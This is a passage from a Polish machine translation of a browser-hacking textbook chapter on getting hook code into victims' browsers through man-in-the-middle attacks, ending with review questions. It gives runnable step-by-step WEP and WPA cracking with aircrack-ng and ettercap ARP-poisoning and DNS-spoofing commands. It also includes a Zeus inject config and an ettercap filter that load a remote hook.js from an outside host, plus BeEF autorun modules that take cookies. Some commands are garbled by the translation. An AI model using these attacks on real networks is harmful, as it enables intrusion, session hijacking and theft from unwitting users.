Metoda wykorzystana do osadzenia kodu kontroli inicjacji w przeglądarce docelowej nie musi polegać na nadużywaniu punktów końcowych komunikacji. Starsza technika, znana jako atak Man-in-the-Middle, lub MitM, była powszechną techniką ataku, ponieważ ludzie wysyłali sobie wiadomości za pośrednictwem niezaufanych kanałów. Pomysł jest dość prosty. Atak polega na podsłuchiwaniu i potencjalnym modyfikowaniu kanału komunikacyjnego przez przeciwnika podczas podróży między nadawcą a odbiorcą. Aby atak był skuteczny, ani nadawca, ani odbiorca nie powinni mieć możliwości stwierdzenia, że ich komunikacja została zauważona lub zmieniona. Jednym z wyzwań kryptografii jest opracowanie technik bezpiecznej komunikacji, w szczególności w celu zmniejszenia prawdopodobieństwa ataków MitM. Dlatego też szereg algorytmów kryptograficznych koncentruje się przede wszystkim na zwiększeniu zarówno poufności, jak i integralności. Podobnie jak w przypadku wszystkich ulepszeń i procesów związanych z bezpieczeństwem, na każdym kroku naprzód w branży w zakresie ochrony informacji i komunikacji atakujący szybko podążają metodami obejścia tych zabezpieczeń. Ponieważ przeglądarka nadal staje się standardowym sposobem uzyskiwania dostępu do informacji, odgrywa również znaczącą rolę w koncepcji wysyłania lub odbierania informacji za pośrednictwem niezaufanych kanałów. Jest to bardzo przydatna droga do wstrzyknięcia początkowego kodu do przeglądarki.

Man-in-the-Browser

Tradycyjnie ataki MitM miały miejsce na niższych warstwach w modelu OSI, na pewno poniżej warstwy aplikacji (czyli tam, gdzie grają HTTP i przyjaciele). Atak Man-in-the-Browser (MitB) jest rodzeństwem tego tradycyjnego ataku MitM i odbywa się całkowicie w przeglądarce. Podstawową cechą najbardziej trwałej logiki komunikacji JavaScript (przechwytywania) jest w rzeczywistości forma ataku MitB, wykazująca takie atrybuty, jak:

■ Ukryty dla użytkownika

■ Ukryty na serwerze

■ Może modyfikować zawartość na bieżącej stronie

■ Potrafi czytać treść na bieżącej stronie

■ Nie wymaga interwencji ofiary

Ten styl przechwytywania jest często spotykany w przypadku ataków złośliwego oprogramowania na banki (na przykład Zeus lub SpyEye, które oferują funkcje wstrzykiwania). Te wygodne funkcje pozwalają operatorowi botnetu określić plik konfiguracyjny, który przechwytuje, jak (i co) wstawić do

odpowiedzi HTTP (S). Wstrzyknięcie to odbywa się całkowicie w przeglądarce i nie psuje ani nie utrudnia kontroli SSL w przeglądarce. Na przykład:

set_url https://www.yourbank.com/*

data_before

data_end

data_inject

<script src = 'https: //browserhacker.com/hook.js'> </script>

data_end

data_after

</body>

data_end

Ogólne ustawienia z pliku konfiguracyjnego Zeus zostaną aktywowane, gdy przeglądarka odwiedzi dowolne strony w https://www.yourbank.com/. Wyszukuje tekst , a następnie wstawia nowy zdalny zasób JavaScript. Dzieje się to w taki sam sposób, jak przykłady kontroli inicjujące, które zbadałeś wcześniej. Po wyrenderowaniu przeglądarka widzi treść i zakłada, że pochodzi ona z legalnej witryny. Jeśli osoba atakująca jest w stanie wykonywać procesy w systemie, zwłaszcza jeśli odbywa się w tym samym obszarze przetwarzania co przeglądarka, oznacza to, że ofiara jest na ogół gotowa. Tego rodzaju złośliwe oprogramowanie często ma więcej funkcji niż tylko wstrzykiwanie HTML, zwykle zapewniając przechwytywanie formularzy, rejestrowanie naciśnięć klawiszy na poziomie systemu operacyjnego i akwizycję zrzutów ekranu.

Ataki bezprzewodowe

Jednym z największych postępów w technologii sieci komputerowych był rozwój i gwałtowny rozwój sieci bezprzewodowych. Jak jednak mądrze wujek Ben powiedział Spidermanowi: „Z wielką mocą wiąże się wielka odpowiedzialność”. Ze wszystkich przełomowych technologii sieci bezprzewodowe były jednym z bardziej kontrowersyjnych między badaczami bezpieczeństwa a inżynierami sieci. Oczywiście, gdy tylko komunikacja zacznie przemierzać fale powietrzne, uwolniona od przewodowych ograniczeń, natychmiast stają w obliczu zagrożeń ze strony większej liczby przeciwników.

Początkowym zagrożeniem ze strony sieci bezprzewodowych, w szczególności z rodziny IEEE 802.11, są osoby atakujące naruszające poufność komunikacji, gdy przechodzą one drogą powietrzną. Fluhrer, Mantin i Shamir początkowo opublikowali badania dokumentujące zagrożenie podsłuchiwaniem ruchu w sieci bezprzewodowej w 2001,22 zaledwie kilka lat po ratyfikacji początkowego standardu 802.11. Wkrótce potem narzędzia demonstrujące metody obejścia Wired Equivalent Privacy .Zwolniono kontrole (WEP).

KONTROLA BEZPIECZEŃSTWA 802.11

Od początku IEEE 802.11 wprowadzono mechanizmy kontroli bezpieczeństwa w celu zmniejszenia prawdopodobieństwa utraty poufności, integralności lub dostępności transmisji bezprzewodowych. Z czasem społeczność bezpieczeństwa krytycznie przeanalizowała te kontrole pod kątem słabych punktów. Poniżej znajduje się krótki przegląd sterowania bezprzewodowego i ich wad.

Ukrywanie SSID

Większość routerów pozwala routerowi nie rozgłaszać swojego identyfikatora zestawu usług (SSID). Niestety, aby sieć działała, klienci bezprzewodowi często proszą o połączenie z nazwanymi identyfikatorami SSID, skutecznie wyciekając te informacje. Narzędzia takie jak Kismet lub Aircrack mogą pomóc Ci odkryć identyfikatory SSID.

Filtrowanie statyczne IP

Podobnie jak ukrywanie SSID, chociaż statyczne filtrowanie adresów IP może wydawać się ograniczać połączenia z DHCP routera bezprzewodowego, adresy IP można odkryć za pomocą narzędzi bezprzewodowych i po prostu skonfigurować w interfejsie bezprzewodowym atakującego.

Filtrowanie adresów MAC

Te same problemy, które nękają filtrowanie adresów IP, wpływają na filtrowanie adresów MAC. Po użyciu narzędzi bezprzewodowych do ustalenia podłączonych adresów MAC możesz zmodyfikować swój adres MAC, aby pasował do jednego z podłączonych klientów. W systemie Windows możesz zmodyfikować swój adres MAC w zaawansowanych właściwościach karty sieci bezprzewodowej, konfigurując ustawienie Adres sieciowy. W systemie Linux możesz zmodyfikować swój adres MAC za pomocą polecenia ifconfig:

ifconfig <interface> hw ether <adres MAC>

OS X jest podobny do Linuksa:

sudo ifconfig <interface> ether <adres MAC>

WEP

Możesz złamać klucze WEP za pomocą pakietu Aircrack-ng23 w kilku prostych krokach:

1. Uruchom adapter bezprzewodowy do wstrzykiwań w trybie monitorowania:

airmon-ng start <adapter - na przykład: wifi0>

<kanał bezprzewodowy - na przykład: 9>

Spowoduje to przejście interfejsu pasywnego w tryb monitorowania.

2. Przetestuj wstrzykiwanie pakietów za pomocą adaptera trybu monitorowania. Często będzie to inny adapter niż wifi0, taki jak interfejs Atheros:

aireplay-ng -9 -e <SSID sieci docelowej>

-a <MAC docelowego punktu dostępu>

<interfejs pasywny - na przykład: ath0>

3. Rozpocznij przechwytywanie wektorów inicjujących WEP:

airodump-ng -c <kanał bezprzewodowy - na przykład: 9>

--bssid <MAC docelowego punktu dostępu>

-w wyjście <interfejs pasywny - na przykład: ath0>

4. Powiąż swój adres MAC z bezprzewodowym punktem dostępowym:

aireplay-ng -1 0 -e <SSID sieci docelowej>

-a <MAC docelowego punktu dostępu>

-h <Nasz adres MAC> <interfejs pasywny - na przykład: ath0>

5. Uruchom Aireplay-ng w trybie odtwarzania żądania ARP, aby wygenerować wektory inicjujące WEP:

aireplay-ng -3 -b <MAC docelowego punktu dostępu>

-h <Nasz adres MAC>

<interfejs pasywny - na przykład: ath0>

Wyjściowe pliki zakończeń powinny teraz rosnąć wraz z ruchem, w tym wektorami inicjującymi WEP. Aby złamać poświadczenia WEP, wykonaj następujące czynności:

aircrack-ng -b <MAC docelowego punktu dostępowego> wyjście * .cap

Lub

aircrack-ng -K -b <MAC docelowego punktu dostępowego> wyjście * .cap

WPA / WPA2

W przeciwieństwie do krakowania WEP, krakowanie WPA / WPA2 można wykonać tylko pod pewnymi warunkami. Jedną z takich sytuacji jest konfiguracja WPA w trybie klucza wstępnego, który używa wspólnego hasła w przeciwieństwie do certyfikatów. Musisz użyć narzędzia takiego jak airodump-ng, aby przechwycić uzgadnianie uwierzytelnienia WPA / WPA2. Oznacza to oczekiwanie na podłączenie nowego klienta lub zmuszenie już podłączonego klienta do rozłączenia i ponownego połączenia. Następnie musisz brutalnie wymusić uścisk dłoni, aby odsłonić wstępnie udostępniony klucz.

1. Uruchom adapter bezprzewodowy do wstrzykiwań w trybie monitorowania:

airmon-ng start <adapter - na przykład: wifi0>

<kanał bezprzewodowy - na przykład: 9>

Spowoduje to przejście interfejsu pasywnego w tryb monitorowania.

2. Zacznij rejestrować uściski dłoni WPA:

airodump-ng -c <kanał bezprzewodowy - na przykład: 9>

--bssid <MAC docelowego punktu dostępu>

-w psk <interfejs pasywny - na przykład: ath0>

3. Teraz możesz zmusić klienta do wycofania uwierzytelnienia i, miejmy nadzieję, że

ponowne uwierzytelnianie:

aireplay-ng -0 1 -a <MAC docelowego punktu dostępu>

-c <MAC klienta, do którego chcesz się oszukać

wycofanie uwierzytelnienia>

<interfejs pasywny - na przykład: ath0>

4. Po zarejestrowaniu uścisku dłoni możesz spróbować go złamać:

aircrack-ng -w <plik słownika haseł>

-b <MAC docelowego punktu dostępu> psk * .cap

Chociaż podsłuchiwanie ruchu sieciowego może być przydatne w celu uzyskania dostępu do wrażliwych materiałów, nie zawsze przekłada się to bezpośrednio na sabotaż danych. Aby osadzić kod inicjujący w ruchu internetowym, musisz wyjść poza techniki podsłuchu.

Po uzyskaniu dostępu do sieci bezprzewodowej możesz teraz wykonywać inne ataki sieciowe, takie jak fałszowanie ARP, podszywając się pod web proxy lub inne urządzenie bramy. Techniki fałszowania ARP zostały omówione w poniższych sekcjach. Oprócz prób uzyskania nieautoryzowanego dostępu do sieci bezprzewodowych w celu przeprowadzenia ataków MitM, inną popularną techniką jest nakłanianie klientów do myślenia , że jesteś bezprzewodowym punktem dostępowym. Są one często nazywane nieuczciwymi punktami dostępu i mogą działać na kilka różnych sposobów.

Jedną z metod jest po prostu transmisja jako już rozgłaszana (otwarta) sieć bezprzewodowa, a następnie użycie osobnego interfejsu, aby połączyć się z legalną siecią bezprzewodową. Inne metody polegają na wymuszonym cofnięciu uwierzytelnienia klientów bezprzewodowych, a następnie nadawaniu jako silniejszy punkt dostępu w porównaniu do legalnego routera. Pakiet KARMA to zestaw narzędzi stworzonych przez Dino Dai Zovi i Shane Macaulay w 2004,24, w tym łaty dla sterownika MADWifi w systemie Linux. Pozwala komputerowi odpowiadać na wszelkie żądania sondy 802.11 bez względu na identyfikator SSID. To umożliwia personifikację dowolnego domyślnego lub wcześniej podłączonego bezprzewodowego punktu dostępowego podczas próby połączenia przez klienta. Ponowne połączenie z wcześniej znanymi sieciami bezprzewodowymi jest domyślnym zachowaniem w wielu systemach operacyjnych. Pakiet zawiera również szereg modułów, które automatyzują nie tylko działanie jako punkt dostępu bezprzewodowego, ale także jako serwer DHCP, serwer DNS i oczywiście serwer sieciowy. Potencjalne jest to, że KARMA może być również skonfigurowana jako internetowy serwer proxy i wstrzykuje instrukcje inicjujące JavaScript do wszystkich żądań internetowych.

Pomysł użycia proxy do modyfikowania ruchu w locie nie jest niczym nowym. Ludzie używają oprogramowania proxy do wykonywania różnego rodzaju interesujących i nietypowych zadań. Obejmowało to uruchamianie przezroczystych serwerów proxy, które poziomo odwracają każdy obraz renderowany w przeglądarce użytkownika 25, do niestandardowej automatyki domowej poprzez przechwytywanie ruchu Siri firmy Apple w celu kontrolowania termostatów użytkowników.

ARP Spoofing

Fałszowanie protokołu ARP (Address Resolution Protocol) (znane również jako zatrucie ARP) polega na oszukiwaniu urządzenia w celu wysłania danych przeznaczonych dla kogoś innego. Jest to trochę podobne do oszukańczej rejestracji przekierowania poczty dla innego urządzenia. Gdy dane dotrą, możesz je nawet dostarczyć samodzielnie, aby Twój cel nie zauważył nic złego. Ale nie poprzestawaj na tym! Możesz zmienić treść bez wiedzy celu. Pamiętaj, że w sieci wiele protokołów nie jest nawet chronionych przez cienki cyfrowy odpowiednik koperty. Na wysokim poziomie ARP jest wykorzystywany do rozpoznawania adresów warstwy sieci z adresów IP na adresy MAC. To mapowanie z warstwy 3 na warstwę 2 będzie Twoim nowym najlepszym spoofingiem ARP. Następujący przepływ normalnie działa w przypadku żądań ARP w sieci IPv4:

■ Komputer A (10.0.0.1) chce rozmawiać z serwerem B (10.0.0.20), więc sprawdza swoją pamięć podręczną ARP pod kątem adresu MAC 10.0.0.20.

■ W przypadku znalezienia adresu MAC ruch jest przesyłany przez interfejs sieciowy na adres MAC.

■ Jeśli adres MAC nie zostanie znaleziony, rozgłoszona wiadomość ARP zostanie przesłana do segmentu sieci lokalnej z pytaniem, kto ma adres MAC dla 10.0.0.20. To żądanie jest przesyłane na adres MAC FF: FF: FF: FF: FF: FF, który zachowuje się jak transmisja, a karta sieciowa z poprawnym adresem IP odpowie.

■ Serwer B widzi żądanie i przesyła odpowiedź z powrotem na adres MAC komputera A z własnym adresem MAC

Fałszowanie ARP jest możliwe, ponieważ protokół ARP nie ma żadnej metody sprawdzania poprawności ruchu ARP. To, co sprawia, że fałszowanie ARP jest szczególnie skuteczne, polega na tym, że nie musisz czekać na transmisję z prośbą o adres MAC. Możesz proaktywnie powiedzieć maszynie docelowej, jaki adres MAC mapuje na jaki adres IP. Odbywa się to poprzez wysyłanie darmowych wiadomości ARP do systemu docelowego. Spowoduje to zaktualizowanie lokalnej pamięci podręcznej ARP celu za pomocą spreparowanego wpisu i spowoduje wysłanie całego kolejnego ruchu IP zamiast zaatakowanej maszyny. Ettercap, opracowany przez Alberto Ornaghi i Marco Valleri, 27 jest jednym z bardziej popularnych narzędzi do przeprowadzania tego rodzaju ataku MitM w sieci lokalnej. Oprócz ataków zatruć ARP, narzędzie może być również używane do fałszowania DHCP, kradzieży portów, filtrowania pakietów i innych. dsniff, oddzielny zestaw narzędzi opracowany przez Dug Song 28, zapewnia podobne funkcje jak ettercap, w tym różne filtry do sniffowania w sieci z technologiami komunikacji równorzędnej, może on zniszczyć systemy. Poniższy przykład (i wszystkie przykłady) należy stosować ostrożnie. Teraz zostałeś ostrzeżony, możesz użyć ettercap, wpisując w wierszu poleceń:

ettercap -T -Q -M arp:remote -i <network interface> /<target1>/ /<target2>/

Atrybuty wybiorą następujące opcje:

■ -T — Działa w trybie tekstowym.

■ -Q - Działa w trybie bardzo cichym, który tłumi wiele danych wyjściowych.

■ -M - Wykonuje atak MitM.

■ arp: remote - określa, że atak MitM będzie zatruciem ARP. Opcja zdalna umożliwia wąchanie zdalnego ruchu IP ukierunkowanego na bramę.

■ -i - określa interfejs sieciowy, na przykład wlan0.

■ Dwa cele pozwalają ci określić, które zestawy adresów IP chcesz zatruć. Może to obejmować zakres adresów IP lub całą podsieć. Na przykład, aby otruć każdy host w podsieci w związku z ruchem przechodzącym przez bramę, użyj / <IP bramy> / //

Dane wyjściowe z poprzedniego polecenia będą podobne do następujących. Obejmuje wizualne wyświetlanie odpowiedzi HTTP z DropBox do klienta w sieci lokalnej:

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on en0... (Ethernet)

en0 -> 60:C5:47:06:85:22 192.168.1.1 255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf

file

Privileges dropped to UID 65534 GID 65534...

0 plugins (disabled by configure...)

39 protocol dissectors

53 ports monitored

7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

* |==================================>| 100.00 %

4 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.1.254 00:04:ED:27:D3:8A

GROUP 2 : ANY (all the hosts in the list)

Starting Unified sniffing...

Text only Interface activated...

Hit 'h' for inline help

Packet visualization restarted...

Sun Mar 3 11:24:11 2013

TCP 108.160.160.162:80 --> 192.168.1.101:50113 | AP

HTTP/1.1 200 OK.

X-DB-Timeout: 120.

Pragma: no-cache.

Cache-Control: no-cache.

Content-Type: text/plain.

Date: Sun, 03 Mar 2013 03:24:08 GMT.

Content-Length: 15.

.

{"ret": "punt"}

Oprócz zwykłego fałszowania ARP, ettercap zawiera wtyczki i filtry, które umożliwiają modyfikowanie ruchu przechodzącego przez system. Będzie to bardzo przydatne, gdy wstrzykujesz swoje wstępne instrukcje kontrolne do docelowej przeglądarki. Podczas tworzenia filtra wstrzykiwania

ukierunkowanego na ruch internetowy często pojawia się problem. Oznacza to, że serwery sieciowe często wysyłają dane z powrotem przy użyciu kompresji. Utrudni to twój atak i zwiększy ilość pracy, którą musisz wykonać. Masz tutaj dwie opcje. Pierwszą opcją jest zmiana nagłówka Accept-Encoding, a drugą zastąpienie wartości Accept-Encoding tożsamością. Wartość tożsamości pomaga upewnić się, że serwer nie używa kompresji, i prawie gwarantuje, że odzyskasz dane w postaci zwykłego tekstu. To powinno znacznie uprościć atak.

Tworzenie filtrów do zmiany ruchu (przy założeniu danych tekstowych) w ettercap jest tak proste, jak utworzenie pliku tekstowego z następującymi elementami:

```
if (ip.proto == TCP && tcp.src == 80) {

replace("</body>", "<script src='http://browserhacker.com/hook.js'>

</script></body>");

replace("Accept-Encoding: gzip, deflate",

"Accept-Encoding:identity ");

}
```

Po zapisaniu pliku możesz go przekonwertować na filtr ettercap, wykonując:

```
etterfilter input.txt -o hookfilter.ef
```

Aby uruchomić ettercap z filtrem, określ plik ef z opcją -F. Na przykład:

```
ettercap -T -Q -F hookfilter.ef
```

-M arp: zdalny -i <interfejs sieci> // //

Określając dwa puste cele, ettercap ARP sfałszuje cały wykryty ruch, a nie tylko konkretne adresy IP. Uwaga: jeśli robisz to w dużych gęsto zaludnionych podsieciach: możesz nagle stać się odbiorcą bardzo dużego ruchu, ponieważ każdy host w podsieci, który rozmawia z dowolnym innym hostem w podsieci, będzie teraz wysyłać swój ruch w twoją stronę. Może to przypadkowo spowodować odmowę usługi w sieci. Dlatego zaleca się wybranie bramy jako jednego z zestawów docelowych, ponieważ jest prawdopodobne, że większość ruchu internetowego będzie przekraczać bramę.

SSLSTRIP

Sslstrip Moxie Marlinspike to narzędzie wydane w 2009 roku, które w przejrzysty sposób przejmuje kontrolę nad ruchem HTTP. Osiąga to poprzez wyszukiwanie linków i przekierowań HTTPS, a następnie modyfikuje je, aby używały HTTP przez lokalny serwer proxy. Możesz uruchomić to oprogramowanie, aby manipulować i przeglądać ruch przeznaczony dla HTTPS. Sam Sslstrip nie zawiera natywnego fałszowania ARP, ale łatwo go połączyć z arpspoof lub ettercap. Możesz przeczytać więcej o sslstrip na http://www.thoughtcrime.org/software/sslstrip/.

Chociaż ettercap to świetne narzędzie wielofunkcyjne do przeprowadzania różnych ataków MitM, koncentrujesz się przede wszystkim na wstrzykiwaniu wstępnych instrukcji do docelowej przeglądarki. W poprzednim przykładzie wykorzystano ettercap, ale dzięki badaniom Ryana Linna i Steve'a Ocepka 29 istnieje jeszcze szybszy sposób na wykonanie tego ataku. Narzędzie znane jako Shank wykorzystuje BeEF w połączeniu z biblioteką PacketFu Metasploit. Automatyzuje wstawianie początkowego kodu kontrolnego BeEF do sieci , gdy przemierza lokalną podsieć. Pod maską skrypt Ruby wykonuje zatrucie ARP i wstrzykiwanie treści HTTP. Shank rozmawia z BeEF i określa, czy adres IP ofiary miał już

wstrzyknięty początkowy kod kontrolny. Jeśli przeglądarka nie wstrzyknęła kodu, wstawi go. To optymalizuje wtrysk tak, aby każdy przeglądarka uruchamiała kod kontrolny tylko raz. Aby wykonać ten atak, musisz mieć zainstalowany i uruchomiony BeEF oraz mieć klejnot PacketFu Ruby w twoim systemie. Możesz zainstalować bibliotekę za pomocą następującego polecenia:

gem zainstaluj packetfu

Po pobraniu skryptów ze strony https://github.com/SpiderLabs/beef _injection _ należy skonfigurować je w swoim środowisku. Najpierw zaktualizuj ustawienie @beef_ip w shank.rb:

DEBUG = true

ARP_TIMEOUT = 30

@beef_ip = '192.168.2.54'

@beef_user = 'beef'

@beef_pass = 'beef'

Po drugie, musisz zaktualizować plik autorun.rb. Określa, które moduły mają działać, gdy tylko nowe przeglądarki zostaną podłączone (podpięte) do BeEF. W tablicy @autorun_mods możesz zobaczyć moduły, które zostaną wykonane automatycznie.

RESTful API root endpoints

ATTACK_DOMAIN = "127.0.0.1"

RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"

RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"

RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"

RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

BEEF_USER = "beef"

BEEF_PASSWD = "beef"

@autorun_mods = [

{ 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }},

{ 'Browser_fingerprinting' => {}},

{ 'Get_cookie' => {}},

{ 'Get_system_info' => {}}

]

Po skonfigurowaniu tych dwóch plików możesz rozpocząć pracę. Wykonaj kolejne kroki w nowych oknach terminala:

1. Uruchom BeEF (z odpowiedniego folderu): ruby beef.

2. Uruchom Shank: ruby shank.rb <docelowy adres sieciowy>.

3. Uruchom skrypt autorun: ruby autorun.rb.

Po tym wszystkim powinieneś zobaczyć aktywność występującą we wszystkich trzech oknach terminala. Oczywiście możesz również uzyskać bezpośredni dostęp do interfejsu administratora BeEF: http://127.0.0.1:3000/ui/panel/.

Taylor Pennington z CORE Security stworzył narzędzie, które przeprowadzało podobne ataki zatrucia ARP w połączeniu z iniekcją BeEF. Możesz zobaczyć g0tBeEF tutaj: https://github.com/kimj-1/g0tBeEF.

Zatrucie DNS

Chociaż zatrucie ARP to świetny sposób na umieszczenie komputera między węzłami w sieci lokalnej, nie działa w każdej sytuacji. Inną metodą przeprowadzania ataków MitM jest zatruwanie rekordów systemu nazw domenowych (DNS). Czym jest ARP do konwersji adresu IP na adres MAC, DNS to konwersja nazwy DNS na adres IP. Mówiąc najprościej, DNS konwertuje hakera przeglądarki.com na adres IP 213.165.242.10. DNS działa na wielu poziomach. Po pierwsze, lokalny proces DNS na twoim komputerze odnosi się do własnej pamięci podręcznej i pliku hostów. Jeśli wpis nie zostanie znaleziony, wykonuje żądanie DNS do skonfigurowanego serwera DNS. To daje różne miejsca, w których można zatruć wpisy DNS. Na przykład możesz kierować na serwer DNS najwyższego poziomu, serwer DNS niższego poziomu, a nawet lokalną pamięć podręczną DNS celu. Jeśli możesz kontrolować którekolwiek z nich, będziesz w stanie udzielić własnych odpowiedzi na cel. Oznacza to, że będziesz mieć możliwość uruchomienia kodu inicjującego.

SABOTOWANIE Z USTAWIENIAMI DNS KLIENTA

W zależności od systemu operacyjnego istnieje kilka różnych sposobów manipulowania ustawieniami DNS celu.

Windows

W nowoczesnych systemach Windows można wstawiać dowolne wpisy DNS, dodając je do pliku C: \ Windows \ System32 \ drivers \ etc \ hosts. W większości konfiguracji możesz wymagać uprawnień administratora do zaktualizowania tego pliku. Wpisy są sformatowane jako:

<adres ip> <nazwa dns>

Na przykład, aby nakłonić komputer do odwiedzin podczas próby załadowania Google, zaktualizuj ten plik, aby zawierał:

<twój adres IP> www.google.com

Oprócz wstawiania dowolnych rekordów do pliku lokalnych hostów, możliwe jest także aktualizowanie ustawień Windows DNS dla określonego interfejsu sieciowego z wiersza poleceń. Możesz to zrobić na komputerze ofiary albo za pomocą prostego pliku wsadowego, albo za pomocą małego skompilowanego programu.

netsh interface ip set dns name = "Połączenie lokalne" \

source = static addr = <IP twojego szkodliwego serwera DNS>

Możesz to skrócić do:

netsh interface ip set dns statyczne połączenie lokalne

<IP>

Linux / Unix / OS X

Systemy Linux, UNIX i OS X przechowują plik hosts w / etc / hosts. Format tego pliku jest podobny do systemu Windows i można również zaktualizować uprawnienia administratora. Ustawienia DNS dla tych systemów operacyjnych zawsze zależą od pliku / etc / resolv.conf. Przy odpowiednich uprawnieniach możesz to zaktualizować, wykonując następujące czynności:

echo "nameserver <IP złośliwego serwera DNS>"> / etc /

resolv.conf

Odchodząc od modyfikowania ustawień DNS klienta, następną metodą wpłynięcia na DNS jest poziom sieci lokalnej. Wykorzystując ataki zatruć ARP, jak omówiono wcześniej, możesz wstrzyknąć własny komputer jako serwer DNS używany w sieci lokalnej.

Ettercap oferuje moduł o nazwie DNSSpoof, który może automatycznie wykonywać ten styl ataku. Najpierw zmodyfikuj plik etter.dns za pomocą złośliwych wpisów DNS. W systemach Linux zwykle znajduje się to w /usr/share/ettercap/etter.dns, a w OSX zwykle znajduje się w /opt/local/share/ettercap/etter.dns. Aby wykonać atak, uruchom ettercap podobnie jak wcześniej, ale tym razem określisz wtyczkę:

ettercap -T -Q -P dns_spoof -M arp: remote

-i <interfejs sieciowy> / <adres IP do trucizny> / //

We wszystkich powyższych przypadkach, gdy masz kontrolę nad systemem DNS na komputerze lub w sieci docelowej, możesz podszyć się pod inny komputer lub serwer, który próbuje uzyskać dostęp za pośrednictwem jego nazwy. Aby wykorzystać tę technikę MitM do wstrzyknięcia kodu kontrolnego inicjacji, zalecamy najpierw monitorowanie normalnego przepływu ruchu w sieci w celu ustalenia, czy serwer proxy jest w użyciu. Byłby to idealny cel do podszywania się, ponieważ lokalne przeglądarki internetowe byłyby przesyłały mimo to ruch do tego serwera.

Wykorzystywanie buforowania

Robert Hansen odkrył problemy z bezpieczeństwem związane ze sposobem buforowania przez przeglądarki źródeł przy użyciu adresów IP nieprzeznaczonych do publicznego udostępniania. To są zakresy 10.0.0.0/8, 172.16.0.0/12 i 192.168.0.0/16. Hansen pokazał, że w pewnych okolicznościach można osadzić złośliwą logikę w źródle. Może to być nadużywane, gdy cel łączy się z inną siecią przy użyciu tych samych adresów nierutowalnych. Ten atak potencjalnie da ci dostęp do wewnętrznych serwerów bez zerwania SOP. Na przykład celem może być kafejka internetowa, do której również masz dostęp. Odtąd można używać technik ARP MitM do modyfikowania dowolnych żądań HTTP w sieci przy użyciu technik omówionych wcześniej. Oczywiście planowałeś z wyprzedzeniem, a także kontrolujesz serwer BeEF w Internecie:

1. Po rozpoczęciu ataku MitM możesz poczekać, aż cel wykona dowolne żądanie HTTP. Następnie możesz wstawić wiele ramek IFrame do odpowiedzi ładującej treść z każdego z docelowych adresów IP.

2. Odpowiesz spreparowanymi danymi, które zostaną zapisane w pamięci podręcznej przeglądarki. Każda z tych ramek IFRame byłaby inicjowana instrukcjami inicjującymi, które ponownie łączą się z internetowym serwerem BeEF.

3. Gdy cel rozłączy się z siecią publiczną i ponownie połączy się w biurze lub domu, przeglądarka będzie nadal odpytywać z powrotem na serwerze BeEF.

4. Jeśli na późniejszym etapie obiekt docelowy przejdzie do jednego z prywatnych adresów IP – na przykład strony administratora swojego routera – wówczas twoja wcześniej zbuforowana zawartość będzie wykonywana w tym miejscu początkowym.

Sytuacje te można również wykorzystać w określonych warunkach VPN, ale poprzedni scenariusz jest znacznie bardziej prawdopodobny. Jest to oczywiście możliwe ze względu na fakt, że logika JavaScript, po uruchomieniu w przeglądarce, może przeżyć buforowanie przeglądarki, a nawet buforowanie DNS w niektórych okolicznościach. W tej sekcji wykazano, że nie jest konieczne wykrywanie luk w aplikacjach internetowych w celu wykonania złośliwego kodu w przeglądarce. Czasami wystarczy po prostu dostęp do sieci, abyś mógł zakraść swoje początkowe instrukcje do celu.

Podsumowanie

Tu skupiliśmy się na pierwszej przeszkodzie, jaką napotkasz, próbując wykorzystać zaufanie przeglądarki internetowej. Chociaż staramy się jak najlepiej uwzględnić wiele różnych sposobów, w jakie szkodliwy kod może przedostać się do przeglądarki, metody te nie są w żaden sposób wyczerpujące. Technologia przeglądarek wciąż się zmienia i rozwija się - szybkie tempo Internetu i dążenie do tego, by wszystko online się stało, to tylko kilka czynników, które powodują, że atak odpływa i przypływa. Badałeś różne metody, z których każda ma na celu zademonstrowanie podstawowych metod i technik, dzięki którym osiągniesz swój cel, jakim jest uzyskanie kontroli nad przeglądarką. Gdy te bramy powodziowe zostaną otwarte, możesz być zaskoczony, jak wiele informacji chce ci dać przeglądarka internetowa. Oczywiście wykonanie początkowych instrukcji jest tylko pierwszą z dwóch znaczących przeszkód, które musisz pokonać. Kolejną przeszkodą jest ustalenie, jak zachować trwały kanał komunikacji z przeglądarką. Jest to kolejny krok w hakowaniu przeglądarki, który zostanie omówiony w następnym rozdziale.

Pytania

1. Jakie działania mogą wykonać osoby atakujące, jeśli wykonają swój kod w przeglądarce internetowej?

2. Opisz główne różnice między rodzajami ataków XSS.

3. Opisz kontrolkę przeglądarki, która może uniemożliwić uruchomienie XSS.

4. Wymień jeden z bardziej znanych wirusów XSS i sposób jego propagacji.

5. Opisz metodę, za pomocą której osoby atakujące mogą naruszyć witrynę, i zmodyfikuj ją, aby opublikować złośliwy kod.

6. W jakich okolicznościach możesz użyć sslstrip?

7. Opisz fałszowanie ARP.

8. Jakie są różnice między phishingiem a spamem?

9. Opisz w kilku prostych krokach, w jaki sposób przeprowadziłbyś atak socjotechniki.

10. Opisz fizyczną technikę „przynęty”.